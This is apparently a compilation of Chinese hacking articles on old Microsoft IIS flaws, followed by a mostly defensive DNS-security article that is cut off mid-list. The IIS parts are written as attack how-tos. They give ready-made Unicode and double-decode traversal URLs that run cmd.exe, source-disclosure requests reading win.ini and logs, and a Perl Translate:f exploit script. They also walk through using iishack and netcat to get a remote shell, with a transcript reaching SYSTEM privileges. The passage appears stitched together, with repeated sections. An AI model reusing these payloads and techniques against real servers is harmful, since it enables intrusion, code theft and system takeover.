这样，攻击者可以通过暴力来猜测你的密码。

14.Translate:f Bug

泄露asp文件源代码
存在OFFICE 2000和FRONTPAGE 2000Server Extensions中的WebDAV中，
当有人请求一个ASP/ASA后者其他任意脚本的时候在HTTP GET加上Translate:f
后缀，并在请求文件后面加/就会显示文件代码，当然在没有打WIN2K SP1补丁
为前提。这个是W2K的漏洞，但由于FP2000也安装在IIS4.0上，所以在IIS4.0
上也有这个漏洞。
利用程序: trasn1.pl,trans2.pl

15.Unicode
IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在
一个安全漏洞，导致用户可以远程通过IIS执行任意命令。当IIS打开文件时，
如果该文件名包含unicode字符，它会对其进行解码，如果用户提供一些特殊
的编码，将导致IIS错误的打开或者执行某些web根目录以外的文件。

http://www.victim.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
http://www.victim.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
http://www.victim.com/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir

http://www.victim.com/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini

可能需要察看以下几个目录

GET /scripts/..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0\r\n\r\n
GET /msadc/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0\r\n\r\n
GET /_vti_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0\r\n\r\n
GET /_mem_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0\r\n\r\n
GET /cgi-bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0\r\n\r\n

eeye开发了工具包iishack1.5针对这一漏洞进行测试

16.iis5.0 缓冲溢出

微软Win 2K IIS 5的打印ISAPI扩展接口建立了.printer扩展名到msw3prt.dll的映射关系，缺省情况下该映射存在。当远程用户提交对.printer的URL请求时，IIS 5调用msw3prt.dll解释该请求。由于msw3prt.dll缺乏足够的缓冲区边界检查，远程用户可以提交一个精心构造的针对.printer的URL请求，其"Host:"域包含大约420字节的数据，此时在msw3prt.dll中发生典型的缓冲区溢出，潜在允许执行任意代码。溢出发生后，WEB服务停止响应，Win 2K可以检查到WEB服务停止响应，从而自动重启它，因此系统管理员很难意识到发生过攻击。

利用程序见iis5hack.zip

17.IIS CGI文件名二次解码漏洞

IIS在加载可执行CGI程序时，会进行两次解码。第一次解码是对CGI文件名进行http解码，然后判断此文件名是否为可执行文件，例如检查后缀名是否为".exe"或".com"等等。在文件名检查通过之后，IIS会再进行第二次解码。正常情况下，应该只对该CGI的参数进行解码，然而，IIS错误地将已经解码过的CGI文件名和CGI参数一起进行解码。这样，CGI文件名就被错误地解码了两次。 通过精心构造CGI文件名，攻击者可以绕过IIS对文件名所作的安全检查，例如对"../"或"./"的检查，在某些条件下，攻击者可以执行任意系统命令。

例如，对于’\’这个字符，正常编码后是%5c。这三个字符对应的编码为：
’%’ = %25
’5’ = %35
’c’ = %63

如果要对这三个字符再做一次编码，就可以有多种形式，例如：
%255c
%%35c
%%35%63
%25%35%63
...

因此，"..\"就可以表示成"..%255c"或"..%%35c"等等形式。

在经过第一次解码之后，变成"..%5c"。IIS会认为这是一个正常的字符串，不会违反安全规则检查。而在第二次被解码之后，就会变成"..\"。因此攻击者就可以使用"..\"来进行目录遍历，执行web目录之外的任意程序。


IIS攻击大全

1．介绍

    这里介绍的方法主要通过端口80来完成操作，具有很大的威胁性，因为作为网络服务器80端口总要打开的。如果想方便一些，下载一些WWW、CGI扫描器来辅助检查。
    而且要知道目标机器运行的是何种服务程序，你可以使用以下命令：
telnet 《目标机》 80
GET HEAD / HTTP/1.0
就可以返回一些域名和WEB服务程序版本，如果有些服务器把WEB服务运行在8080，81，8000，8001口，你就TELNET相应的口上。

2.常见漏洞

（1）、Null.htw
    IIS如果运行了Index Server就包含了一个通过Null.htw有关的漏洞，即服务器上不存在此.htw结尾的文件。这个漏洞会导致显示ASP脚本的源代码， global.asa里面包含了用户帐户等敏感信息。如果攻击者提供特殊的URL请求给IIS就可以跳出虚拟目录的限制，进行逻辑分区和ROOT目录的访问。而这个"hit-highlighting"功能在Index Server中没有充分防止各种类型文件的请求，所以导致攻击者访问服务器上的任意文件。Null.htw功能可以从用户输入中获得3个变量：
CiWebhitsfile
CiRestriction
CiHiliteType
    你可通过下列方法传递变量来获得如default.asp的源代码：
http://www.目标机.com/null.htw?CiWebhitsfile=/default.asp%20&%20
CiRestriction=none%20&%20&CiHiliteType=full其中不需要一个合法的.htw文件是因为虚拟文件已经存储在内存中了。

（2）、MDAC- 执行本地命令漏洞
    这个漏洞出现得比较早，但在全球范围内，可能还有好多IIS WEB服务器存在这个漏洞，就像在今天，还有很多人在用Windows3.2一样。IIS的MDAC组件存在一个漏洞，可以导致攻击者远程执行目标系统的命令。主要核心问题是存在于RDSDatafactory，默认情况下，它允许远程命令发送到IIS服务器中，这命令会以设备用户的身份运行，在默认情况下是SYSTEM用户。我们可以通过以下办法测试本机是否存在这个漏洞：
c:\》nc -nw -w 2 《目标机》 80
GET /msadc/msadcs.dll HTTP
    如果你得到下面的信息：
application/x_varg
    就很有可能存在此漏洞且没有打上补丁，你可以使用rain forest puppy网站的两个程序进行测(www.wiretrip.net/rfp)==》mdac.pl和msadc2.pl。

（3）、ASP Dot Bug
    这个漏洞出现得比较早了，是Lopht小组在1997年发现的缺陷，这个漏洞也是泄露ASP源代码给攻击者，一般在IIS3.0上存在此漏洞，在请求的URL结尾追加一个或者多个点导致泄露ASP源代码。http://www.目标机.com/sample.asp.

（4）、idc & .ida Bugs
    这个漏洞实际上类似ASP dot 漏洞，其能在IIS4.0上显示其WEB目录信息，很奇怪有些人还在IIS5.0上发现过此类漏洞，通过增加?idc?或者?ida?后缀到URL会导致IIS尝试允许通过数据库连接程序.DLL来运行.IDC，如果此.idc不存在，它就返回一些信息给客户端。
http://www.目标机.com/anything.idc 或者 anything.idq
（5）、+.htr Bug
    这个漏洞是由NSFOCUS发现的，对有些ASA和ASP追加+.htr的URL请求就会导致文件源代码的泄露：
http://www.目标机.com/global.asa+.htr

（6）、NT Site Server Adsamples 漏洞
    通过请求site.csc，一般保存在/adsamples/config/site.csc中，攻击者可能获得一些如数据库中的DSN，UID和PASS的一些信息，如：
http://www.目标机.com/adsamples/config/site.csc

（7）、IIS HACK
    有人发现了一个IIS4.0的缓冲溢出漏洞，可以允许用户上载程序，如上载netcat到目标服务器，并把cmd.exe绑定到80端口。这个缓冲溢出主要存在于.htr,.idc和.stm文件中，其对关于这些文件的URL请求没有对名字进行充分的边界检查，导致运行攻击者插入一些后门程序在系统中下载和执行程序。要检测这样的站点你需要两个文件iishack.exe，ncx.exe，你可以到站点www.technotronic.com中去下载，另外你还需要一台自己的WEB服务器，也可以是虚拟服务器哦。你现在你自己的WEB服务器上运行WEB服务程序并把ncx.exe放到你自己相应的目录下，然后使用iishack.exe来检查目标机器：
c:\》iishack.exe 《目标机》 80 《你的WEB服务器》/ncx.exe
    然后你就使用netcat来连接你要检测的服务器：
c:\》nc 《目标机》 80
    如果溢出点正确，你就可以看到目标机器的命令行提示，并且是远程管理权限。Codebrws.asp & Showcode.asp 。Codebrws.asp和Showcode.asp在IIS4.0中是附带的看文件的程序，但不是默认安装的，这个查看器是在管理员允许查看样例文件作为联系的情况下安装的。但是，这个查看器并没有很好地限制所访问的文件，远程攻击者可以利用这个漏洞来查看目标机器上的任意文件内容，但要注意以下几点：
1．Codebrws.asp 和 Showcode.asp默认情况下不安装。
2．漏洞仅允许查看文件内容。
3．这个漏洞不能绕过WINDOWS NT的ACL控制列表的限制。
4．只允许同一分区下的文件可以被查看(所以把IIS目录和WINNT分区安装是个不错的方案，这样也可能比较好的防止最新的IIS5.0的unicode漏洞).
5,攻击者需要知道请求的文件名。
    例如你发现存在这个文件并符合上面的要求，你可以请求如下的命令：
http://www.目标机.com/iisamples/exair/howitworks/codebrws.asp?source=/
iisamples/exair/howitworks/codebrws.asp
你就可以查看到codebrws.asp的源代码了。
你也可以使用showcode.asp来查看文件：
http://www.目标机.com/msadc/samples/selector/showcode.asp?
source=/msadc/../../../../../winnt/win.ini
    当然你也可以查看一些FTP信息来获得其他的目标管理员经常使用的机器，或许其他的机器的安全性比WEB服务器差，如：
http://xxx.xxx.xxx.xxx/msadc/Samples/SELECTOR/showcode.asp?
source=/msadc/Samples/../../../../../winnt/system32/logfiles/MSFTPSVC1/ex000517.log
（8）、webhits.dll & .htw
    这个hit-highligting功能是由Index Server提供的允许一个WEB用户在文档上highlighted（突出）其原始搜索的条目，这个文档的名字通过变量CiWebhitsfile传递给.htw文件，Webhits.dll是一个ISAPI应用程序来处理请求，打开文件并返回结果，当用户控制了CiWebhitsfile参数传递给.htw时，他们就可以请求任意文件，结果就是导致可以查看ASP源码和其他脚本文件内容。要了解你是否存在这个漏洞，你可以请求如下条目：
http://www.目标机.com/nosuchfile.htw
    如果你从服务器端获得如下信息：
format of the QUERY_STRING is invalid
这就表示你存在这个漏洞。
    这个问题主要就是webhits.dll关联了.htw文件的映射，所以你只要取消这个映射就能避免这个漏洞，你可以在你认为有漏洞的系统中搜索.htw文件，一般会发现如下的程序：
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/isssamples/exair/search/qfullhit.htw
/isssamples/exair/search/qsumrhit.htw
/isshelp/iss/misc/iirturnh.htw (这个一般为loopback使用)
    攻击者可以使用如下的方法来访问系统中文件的内容：
http://www.目标机.com/iissamples/issamples/oop/qfullhit.htw?
ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full
    就会在有此漏洞系统中win.ini文件的内容。
（9）、ASP Alternate Data Streams(::$DATA)
    $DATA这个漏洞是在1998年中期公布的，$DATA是在NTFS文件系统中存储在文件里面的main data stream属性，通过建立一个特殊格式的URL，就可能使用IIS在浏览器中访问这个data stream(数据流)，这样做也就显示了文件代码中这些data stream(数据流)和任何文件所包含的数据代码。
    其中这个漏洞需要下面的几个限制，一个是要显示的这个文件需要保存在NTFS文件分区(幸好为了"安全"好多服务器设置了NTFS格式)，第二是文件需要被ACL设置为全局可读。而且未授权用户需要知道要查看文件名的名字，WIN NT中的IIS1.0, 2.0, 3.0和4.0都存在此问题。微软提供了一个IIS3.0和4.0的版本补丁，
要查看一些.asp文件的内容，你可以请求如下的URL：
    http://www.目标机.com/default.asp::$DATA 你就得到了源代码。你要了解下NTFS文件系统中的数据流问题，你或许可以看看这文章：
http://focus.silversand.net/newsite/skill/ntfs.txt
（10）、ISM.DLL 缓冲截断漏洞
    这个漏洞存在于IIS4.0和5.0中，允许攻击者查看任意文件内容和源代码。通过在文件 名后面追加近230个+或者?%20?(这些表示空格)并追加?.htr?的特殊请求给IIS，会使IIS认为客户端请求的是?.htr?文件，而.htr文件的后缀映射到ISM.DLL ISAPI应用程序，这样IIS就把这个.htr请求转交给这个DLL文件，然后ISM.DLL程序把传递过来的文件打开和执行，但在ISM.DLL 截断信息之前,缓冲区发送一个断开的 .Htr 并会延迟一段时间来返回一些你要打开的文件内容。可是要注意，除非 WEB 服务停止并重启过，否则这攻击只能有效执行一次。如果已经发送过一个 .htr 请求到机器上,那么这攻击会失效.它只能在 ISM.DLL 第一次装入内存时工作。
http://www.目标机.com/global.asa%20%20(...《=230)global.asa.htr

（11）、存在的一些暴力破解威胁.htr程序
    IIS4.0中包含一个严重漏洞就是允许远程用户攻击WEB服务器上的用户帐号，就是你的WEB服务器是通过NAT来转换地址的，还可以被攻击。每个IIS4.0安装的时候建立一个虚拟目录/iisadmpwd，这个目录包含多个.htr文件，匿名用户允许访问这些文件，这些文件刚好没有规定只限制在loopback addr(127.0.0.1)，请求这些文件就跳出对话框让你通过WEB来修改用户的帐号和密码。这个目录物理映射在下面的目录下：
c:\winnt\system32\inetsrv\iisadmpwd
Achg.htr
Aexp.htr
Aexp2.htr
Aexp2b.htr
Aexp3.htr
Aexp4.htr
Aexp4b.htr
Anot.htr
Anot3.htr
这样，攻击者可以通过暴力来猜测你的密码。如果你没有使用这个服务，请立即删除这个目录。
（12）、Translate:f Bug
    这个漏洞发布于2000年8月15号(www.securityfocus.com/bid/1578)，其问题是存在OFFICE 2000和FRONTPAGE 2000Server Extensions中的WebDAV中，当有人请求一个ASP/ASA后者其他任意脚本的时候在HTTP GET加上Translate:f后缀，并在请求文件后面加/就会显示文件代码，当然在没有打WIN2K SP1补丁为前提。这个是W2K的漏洞，但由于FP2000也安装在IIS4.0上，因此在IIS4.0上也有这个漏洞，你可而已使用下面的脚本来利用这个漏洞：
#############################
use IO:screen.width-300)this.width=screen.width-300'>ocket; #
my ($port, $sock,$server); #
$size=0; #
#############################
#
$server="$ARGV[0]";
$s="$server";
$port="80";
$cm="$ARGV[1]";
&connect;
sub connect {
if ($#ARGV 《 1) {
howto();
exit;
}
$ver="GET /$cm%5C HTTP/1.0
Host: $server
Accept: */*
Translate: f
\n\n";
my($iaddr,$paddr,$proto);
$iaddr = inet_aton($server) || die "Error: $!";
$paddr = sockaddr_in($port, $iaddr) || die "Error: $!";
$proto = getprotobyname('tcp') || die "Error: $!";
socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die "Error:
$!";
connect(SOCK, $paddr) || die "Error: $!";
send(SOCK, $ver, 0) || die "Can't to send packet: $!";
open(OUT, "》$server.txt");
print "Dumping $cm to $server.txt \n";
while(《SOCK》) {
print OUT 《SOCK》;
}
sub howto {
print "type as follows: Trans.pl www.目标机.com codetoview.asp \n\n";
}
close OUT;
$n=0;
$type=2;
close(SOCK);
exit(1);
}

    你可以使用下面的方法来获得源代码：
Trasn.pl www.目标机.com default.asp

（13）、IIS存在的Unicode解析错误漏洞
    NSFOCUS安全小组发现微软IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞，导致用户可以远程通过IIS执行任意命令。当IIS打开文件时，如果该文件名包含unicode字符，它会对其进行解码，如果用户提供一些特殊的编码，将导致IIS错误的打开或者执行某些web根目录以外的文件。
    你可以使用下面的方法利用这个漏洞：
(1) 如果系统包含某个可执行目录，就可能执行任意系统命令。下面的URL可能列出当前目录的内容：
http://www.目标机.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
(2) 利用这个漏洞查看系统文件内容也是可能的：

http://www.目标机.com/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini
这个漏洞是针对中文操作平台，你也可以使用"%c0%af"或者"%c1%9c"来测试英文版本，原因就是编码不同。


IIS提升权限漏洞(BY 袁哥)

除了公布3个拒绝服务漏洞外还公布了两个比较严重的漏洞。一个是IIS的SSINC.DLL溢出漏洞，另一个是IIS提升权限漏洞。其实我们的计划是SSINC.DLL的溢出公布后下一个就是这个权限提升漏洞。不过由于微软补丁的速度问题，没想到被别人先通告微软了。

    下面是原来内部的一些资料：

    IIS4默认情况下，应用程序保护选项是“低（共用IIS进程）”，所以加载isapi的时候是以加载IIS的身份执行。但WIN2K+IIS5.0默认情况下应用程序保护选项是“中（共用的）”，这时IIS加载isapi是用的iwam_computername用户身份执行。
    但默认情况下WIN2K+IIS5对于一些特殊isapi又要以system身份加载。win2k+iis5 、win2k+iis5+sp1、win2k+iis5+sp2都是简单的判断isapi的文件名，并且没有做目录限制，以SYSTEM权限加载的isapi有：
     1、 idq.dll
     2、 httpext.dll
     3、 httpodbc.dll
     4、 ssinc.dll
     5、 msw3prt.dll
     6、 author.dll
     7、 admin.dll
     8、 shtml.dll
     9、 sspifilt.dll
     10、compfilt.dll
     11、pwsdata.dll
     12、md5filt.dll
     13、fpexedll.dll

    所以利用这很容易得到SYSTEM权限。并且判断文件名的时候有个bug，比如请求/scripts/test%81%5cssinc.dll也将会认为是请求的ssinc.dll,就是分离文件路径的时候没有考虑到双字节的远东版问题。ssinc.dll在处理包含文件路径的时候也有一个问题，就是"/"、"\"只识别了一个"/"，所以如果请求里面使用"\"，就会错误的处理包含文件路径，有可能泄露东西或者出现权限漏洞，这种漏洞很多别的地方（ php、asp等）也还存在。

   但在补了http://www.microsoft.com/technet/security/bulletin/ms01-026.asp 补丁(%25二次解码补丁包，包含在sp3)后，加载这些isapi不是单以文件名做依据了，而是加了路径，应该是修正了此问题。
   一般默认情况下是：
     1、 idq.dll　　　　　　 d:\winnt\system32\idq.dll
     2、 httpext.dll　　　　 d:\winnt\system32\inetsrv\httpext.dll
     3、 httpodbc.dll　　　　d:\winnt\system32\inetsrv\httpodbc.dll
     4、 ssinc.dll　　　　　 d:\winnt\system32\inrtsrv\ssinc.dll
     5、 msw3prt.dll　　　　 d:\winnt\system32\msw3prt.dll
     6、 author.dll　　　　　D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\isapi\_vti_aut\author.dll
     7、 admin.dll　　　　　 D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\isapi\_vti_adm\admin.dll
     8、 shtml.dll　　　　　 D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\isapi\shtml.dll
     9、 sspifilt.dll　　　　d:\winnt\system32\inetsrv\sspifilt.dll
     10、compfilt.dll　　　　d:\winnt\system32\inetsrv\compfilt.dll
     11、pwsdata.dll　　　　 d:\winnt\system32\inetsrv\pwsdata.dll
     12、md5filt.dll　　　　 d:\winnt\system32\inetsrv\md5filt.dll
     13、fpexedll.dll　　　　D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\bin\fpexedll.dll

     正常情况下这些路径都guest不能写,所以应该算已经补上。但如果配置不好，这些路径guest能够写了就一样可以提升权限了

                               win2000的getadmin

   把此dll上传到IIS的可执行目录，文件名可叫ssinc.dll或者admin.dll等（上面列的13个文件名之一）。然后使用telnet或者原来的asp.exe。

   1、使用telnet。因为这不是专门的客户端，使用参数“?okok”让通信不加密，如果不带这参数将是乱码。

D:\WINNT\temp>telnet 192.168.8.48 80
get /scripts/ssinc.dll?okok
XORDATAMicrosoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.

D:\WINNT\system32>whoami
whoami
NT AUTHORITY\SYSTEM
D:\WINNT\system32>

  2、使用asp.exe。同样支持iisput、iisget、iiscmd等命令。
E:\work\asp\Debug>asp 192.168.8.48 /scripts/ssinc.dll

IIS4.0 OVERFLOW PROGRAM 2.0 .
copy by yuange 2000.6.2.
welcome to my homepage http://yuange.yeah.net .
welcome to http://www.nsfocus.com .
usage: asp <server> [aspfile] [webport] [offset]

nuke ip: 192.168.8.48 port 80
offset:0

shellcode long 0x143c

packetlong:0x1003c

send　packet 65634 bytes.
recv:
TRACK / HTTP/1.1
HOST:192.168.8.48

ok!recv 8 bytes

recv:XORDATAMicrosoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.

D:\WINNT\system32>whoami
whoami
NT AUTHORITY\SYSTEM

    对于IIS4默认情况下加载ISAPI的DLL都是SYSTEM权限，要得到SYSTEM权限那就根本不是问题。但IIS5默认不是，就需要利用这个提升权限漏洞。这个漏洞照现在公布的，需要有个可写目录供上传利用的dll，因为UNICODE漏洞所以不一定要在虚拟目录，不过默认情况下虚拟可执行目录/scripts可写。
    其实结合别的漏洞，根本不需要可写目录，不需要上传DLL,可以利用IIS自身带的一些DLL，利用UNICODE、利用溢出，利用再一个漏洞、加上这个提升权限的漏洞，那就可以一步到位，直接得到system权限。

    WINDOWS、IIS等漏洞太多，现在利用IIS漏洞都是玩组合了。像上面说的实际应用中就可以一下利用我们发现的unicode、fpse扩展溢出、截断、提升权限漏洞4个大漏洞。


IIS下可执行目录的利用思考

作者:mayi

    系统盘上默认的inetpub/scripts目录因为系统默认的权限是脚本和可执行程序。所以它才具有inetpub/scripts/..%255c../..%255c../winnt/system32/cmd.exe?/c+dir就是说它具有执行cmd.exe模块的能力。如果在系统盘上建立一个web目录设置权限为可执行权限同样具有这样能力。比如在C盘的建立cnsafe这个web目录，权限设置成脚本和可执行程序。我们就可以在浏览器上http://ip/cnsafe/..%255c../winnt/system32/cmd.exe?/c+dir这样去执行CMD。EXE模块。如果我们在非系统盘上(比如在d盘上建立一个cnsafe权限为脚本和可执行程序）建立一个这样的web目录。我们就可以把cmd.exe考入该目录http://ip/cnsafe/cmd.exe?/c+dir这样就可以调用CMD。EXE模块。如果这时上传一个。BAT或者。EXE文件同样可以在浏览器上执行。http://ip/cnsafe/*.bat或者http://ip/cnsafe/*.exe
我们在利用IIS建立一个web目录或者虚拟目录过程中有个选择“执行（例如ISAPI应用程序或CGI）”那么你这个目录就具有脚本和可执行程序权限了。那样就存在上述的危险。所以这个地方需要注意。当然也可以建立远程的访问cmd.exe的方式。还在于我们多去思考和尝试。


Internet上的域名服务器安全

作者：cjj

1 前言
域名服务器在internet上具有举足轻重的作用，它负责在域名和IP地址进行转换。我们通常在互联网上使用的都是域名，比如首都在线的主页为www.263.net，而计算机在通信时使用的是其对应的IP地址：202.96.44.130。因此我们可以想象，如果负责域名转换的域名服务器出来问题，那么将直接导致互联网用户无法使用域名来访问互联网，除非用户能够记住大量的IP地址。由于域名服务器的重要作用，这些服务器往往具有较高的系统配置，且一般位于高速的骨干网络上，以便快速响应大负荷的查询请求；另外，由于域名服务系统的分布性和开放性，其往往裸露在防火墙的外面。域名服务器的这些特征使其成为黑客进行攻击的优选目标。
随着我国互联网的快速发展，越来越多的政府部门、企业、公司、教育机构接入internet，他们要么建立自己的DNS服务器，要么使用ISP提供的DNS服务器，保证这些DNS服务器的安全运行成为一个突出的课题。

2 DNS基本原理
域名服务系统的发展和internet的发展和演变密切相关，在早期的internet前身—ARPAnet时，由于网络规模较小，只有几百台主机，所以用单一的文件hosts.txt来表示主机名和地址之间的映射，这个文件由斯坦福研究院(SRI)的网络信息中心(NIC)维护，通过ftp对外发布。随着TCP/IP协议的引入，Internet飞速发展，这种表示域名的方式出现了严重不足：主机名容易冲突、hosts.txt文件经常不一致、不宜扩展、NIC的网络流量日益增大，经常出现网络瓶颈等。为了解决这些问题，必须使用一个新型的域名服务系统，它必须满足以下要求：分布式数据管理、全球一致性、消除网络瓶颈、分层结构。根据这些要求，Paul Mochapetris担负起新系统的研究和规划，于1984年发布了阐述域名服务系统的RFC882和RRC883，这两个RFC经过修正后，其版本为RFC1034、RFC1035，成为新域名服务系统的标准，当前DNS服务器软件的实现都是基于这两个RFC标准。随着internet的发展，一些新的RFC扩展标准不断提出，并被加入到这些服务器软件中，比如关于DNS安全扩展标准的RFC2535。
新域名服务系统是一个关于互连网上主机信息的分布式数据库，它将数据按照区域分段，并通过授权委托进行本地管理，使用客户机-服务器模式检索数据，并且通过复制和缓存机制提供迸发和冗余性能。域名服务系统包含域名服务器和解析器两个部分：域名服务器存储和管理授权区域内的域名数据，提供接口供客户机检索数据；解析器即客户机，向域名服务器递交查询请求，翻译域名服务器返回的结果并递交给高层应用程序，通常为操作系统提供的库函数之一。为了理解域名服务系统，必须理解以下的概念：
域名空间结构是一个反向生长的树，类似UNIX的文件系统：根由“.”表示，域名由“.”分隔，从底到顶，如下图所示：

图一 域名空间
区域是域名空间的子树，是域内所有主机信息资源的集合，区域可以简称为域。域的表现形式通常为硬盘上的一个文件，域名服务器在启动时将此文件中的数据读入自己的内存供外部的解析器查询。如果域名服务器负责解析某个域，则这个域称为域名服务器的授权域，域名服务器可同时管理多个授权域。
上级域可以将子域的管理权委托给子域的管理员，比如域263.net可以将子域game.263.net的管理权委托给子域game.263.net。
域名服务器分为主域名服务器和辅域名服务器：主域名服务器存贮和管理授权域的数据，辅域名服务器做为主域名服务器的冗余备份，在主域名服务器失效时替代主域名服务器，以便对外提供不间断的服务，它使用区域传输从主域名服务器同步数据。辅域名服务器作为冗余，可以有多个。
域名查询采用UDP协议，而区域传输采用TCP协议。
域名解析过程分为两种方式：递归模式和交互模式，如下图所示：

图二 域名解析过程
解析器通常向域名服务器发送递归查询请求，如果域名服务器支持递归查询，则域名服务器收到此查询请求后，如果查询对象位于域名服务器的授权域或缓存中，则域名服务器返回查找成功结果，否则，域名服务器向外部的域名服务器发送此查询请求，最终要么返回给解析器查找成功的结果，要么返回查找失败。解析器也能向域名服务器发送非递归查询请求，同递归查询一样，如果查询对象位于域名服务器的授权域或缓存中，则域名服务器返回查找成功结果；和递归查询不同的是，如果查询对象不在域名服务器的授权域或缓存中，但是域名服务器知道其他的域名服务器能够解析这个查询对象，则域名服务器将这个线索返回给解析器，否则返回查找失败。上图中，域名服务器作为解析器向外部的域名服务器发送非递归查询请求，得到的结果中包含指向其它域名服务器的线索信息。 3 对DNS服务器的威胁
目前，黑客对DNS服务器的攻击主要有三种方法：地址欺骗、远程漏洞入侵和拒绝服务。
（1） 地址欺骗
地址欺骗攻击利用了RFC标准协议中的某些不完善的地方，达到修改域名指向的目的。如下图所示：

图三 DNS地址欺骗攻击
黑客控制着一个或多个在internet上正式运行的DNS服务器，黑客可以指定这些服务器负责解析某个区域，比如hacker.net，黑客在这个区域内加入大量伪造的数据（A记录、NS记录等），然后黑客使用nslookup等DNS查询工具向受害者的DNS服务器发送一个递归查询请求，要求解析www.hacker.net这个域名信息，因而引诱受害者的DNS服务器去查询黑客的DNS服务器，黑客的DNS服务器在返回的查询结果中包含了那些事先伪造的数据（这些伪造信息位于DNS的UDP响应包中的附加段部分，即前面所述的线索信息），受害者的DNS服务器在收到查询结果后，把此结果送回黑客的查询工具，同时将查询结果中的伪造数据进行缓存。假如缓存的伪造数据中含有www.yahoo.comà1.1.1.1这样的地址映射，那么当其它主机向被攻击的DNS服务器请求www.yahoo.com的地址时，被攻击的DNS服务器查询自己的缓存，然后将1.1.1.1这个错误的地址以非授权形式返回。同理，黑客通过修改自己的DNS服务器上的数据，可以使被攻击的DNS服务器返回任何错误的地址指向。解决方法参见下一节中的（3）和（4）。
（2） 拒绝服务
针对DNS服务器的拒绝服务攻击有两种，一种攻击针对DNS服务器软件本身，通常利用BIND软件程序中的漏洞，导致DNS服务器崩溃或拒绝服务，这种攻击很容易对付，我们只要为BIND软件安装相应的补丁程序或更新软件即可；另一种攻击的目标不是DNS服务器，而是利用DNS服务器作为中间的“攻击放大器”，去攻击其它intetnet上的主机，导致被攻击主机拒绝服务，这种攻击的原理为：黑客向多个DNS服务器发送大量的查询请求，这些查询请求数据包中的源IP地址为被攻击主机的IP地址，DNS服务器将大量的查询结果发送给被攻击主机，使被攻击主机所在的网络拥塞或不再对外提供服务。通过限制查询主机的IP地址可以减轻这种攻击的影响，目前不可能从根本上解决这个问题。
（3） 远程漏洞入侵
BIND服务器软件的许多版本存在缓冲区溢出漏洞，黑客可以利用这些漏洞远程入侵BIND服务器所在的主机，并以root身份执行任意命令。这种攻击的危害性比较严重，黑客不仅获得了DNS服务器上所有授权区域内的数据信息，甚至可以直接修改授权区域内的任意数据，同时可以利用这台主机作为攻击其它机器的“跳板”。关于这些漏洞的详细信息可以查看参考文献中所列的CERT安全建议，解决方法很简单，参考下一节中的（1），更新BIND服务器软件。

4 保护DNS服务器的措施
（1） 使用最新版本的DNS服务器软件
当前，internet上最广泛使用的DNS服务器软件为BIND (Berkeley Internet Name Domain)，它可以运行在各种UNIX平台上，某些版本也支持Windows NT平台。本文以BIND软件为例进行说明，其它DNS服务器软件的设置可能有所不同，但其原理都是一样的，故不一一详述。
BIND软件是一个免费软件，由互联网软件协会（ISC：Internet Software Consortium）开发和维护。BIND软件分为两个系列：版本4系列和版本8系列。版本4系列是较早的版本，其功能不够强大，含有许多著名的漏洞，其最后一个版本是4.9.7，互联网软件协会已经宣布不再开发4系列的BIND，以后的开发仅针对于8系列或更高版本的BIND。8系列的BIND相对于4系列有了很大改进，修正了很多已知的安全漏洞，优化了软件运行效率，提供更加灵活和强大的配置命令，增加了许多RFC建议的安全功能，能够有效的抵抗大部分的已知攻击手段。因此，互联网软件协会强烈建议使用BIND 8系列中的版本8.2.2+P5，如果无法使用这个版本，那么可以考虑使用BIND 4系列中的版本4.9.7。
使用最新版本的DNS服务器软件虽然可以解决大部分目前已知的漏洞，但并不意味着DNS服务器的彻底安全，因为随着新漏洞的发现，“最新版本”将成为不安全的旧版本，这时必须使用更新的软件版本或安装相应的补丁程序。
互联网软件协会的正式网站为 http://www.isc.org ，最新的BIND软件可以从它的ftp服务器上下载：
4.9.7: ftp://ftp.isc.org/isc/bind/src/cur/bind-4/bind-4.9.7-REL.tar.gz
8.2.2+P5: ftp://ftp.isc.org/isc/bind/src/cur/bind-8/bind-src.tar.gz
（2）关闭递归查询和线索查找功能
如果可能，关闭BIND服务器的递归查询功能，这将使DNS服务器进入被动模式，即它决不会向外部的DNS发送查询请求，只会回答对自己的授权域的查询请求，因此不会缓存任何外部的数据，所以不可能遭受地址欺骗攻击。当有合法的解析器使用DNS服务器，或其它合法的DNS服务器将这个DNS服务器作为传递服务器（forwarder）时，不应关闭递归查询，如果不能关闭递归查询，使用后面所讲的其它方法。
通常，DNS服务器在返回查询结果时，如果结果中包含NS记录而没有NS记录对应的A记录，那么DNS服务器会去查找这个A记录，这种情况叫线索查找。使用这个功能可能导致欺骗攻击，所以建议关闭这个功能。
在BIND 8版中，在named.conf中使用如下命令关闭这两个功能：
options {
recursion no;
fetch-glue no;
};
在BIND 4版中，在named.boot中使用如下命令关闭这两个功能：
options no-recursion
options no-fetch-glue
（3）限制对DNS进行查询的IP地址
